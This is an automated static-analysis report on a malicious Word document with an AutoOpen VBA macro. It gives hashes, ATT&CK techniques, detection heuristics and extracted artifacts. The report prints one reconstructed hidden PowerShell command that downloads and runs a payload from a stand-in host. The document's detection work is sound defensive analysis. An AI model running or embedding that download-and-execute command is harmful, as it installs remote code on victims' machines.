Malicious Office (OOXML) / .DOC — malware analysis report

Static analysis result for SHA-256 61552a7870e7a4f4…

MALICIOUS

Office (OOXML) / .DOC

43.2 KB Created: 2021-12-10 11:01:00 UTC Authoring application: Microsoft Office Word 16.0000
MD5: 62ecf5b291ea8b3c2fdd77737524c806 SHA-1: 06386ec99fae3628c44c7ee32c0de366cafae310 SHA-256: 61552a7870e7a4f4340490482a29e2fd7613d31d01f5e4aa1db96821070b50b1
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains VBA macros, specifically an AutoOpen subroutine, which is a common technique for malicious Office documents. The script uses GetObject to execute a PowerShell command that downloads and runs a payload from a hardcoded URL. The reconstructed PowerShell command is 'powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://evil.tld/payload')"', indicating a downloader functionality. The presence of the AutoOpen macro and the GetObject call strongly suggest malicious intent.

Heuristics 6

  • ClamAV: Doc.Downloader.BlueWord12210-9915312-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.BlueWord12210-9915312-0
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • VBA project inside OOXML medium OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas
    • http://schemas.microsoft.com/office/drawing/2014/chartex
    • http://schemas.openxmlformats.org/markup-compatibility/2006
    • http://schemas.openxmlformats.org/officeDocument/2006/relationships
    • http://schemas.openxmlformats.org/officeDocument/2006/math
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing
    • http://schemas.openxmlformats.org/wordprocessingml/2006/main
    • http://schemas.microsoft.com/office/word/2010/wordml
    • http://schemas.microsoft.com/office/word/2012/wordml
    • http://schemas.microsoft.com/office/word/2015/wordml/symex
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroup
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInk
    • http://schemas.microsoft.com/office/word/2006/wordml
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShape
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#
    • http://ns.adobe.com/xap/1.0/
    • http://purl.org/dc/elements/1.1/
    • http://ns.adobe.com/photoshop/1.0/
    • http://ns.adobe.com/xap/1.0/mm/
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#
    • http://ns.adobe.com/tiff/1.0/
    • http://ns.adobe.com/exif/1.0/

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
f8310059994e18bc259ec99b206f4fe10dc4b1497c917c7670a1142542f082c5
vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 899 bytes
vbaProject_00.bin
ed6c125438961db2f0dbce132e16607b0a47dbdcd3c4959c8f5efbf80498a103
vba-project OOXML VBA project: word/vbaProject.bin 14336 bytes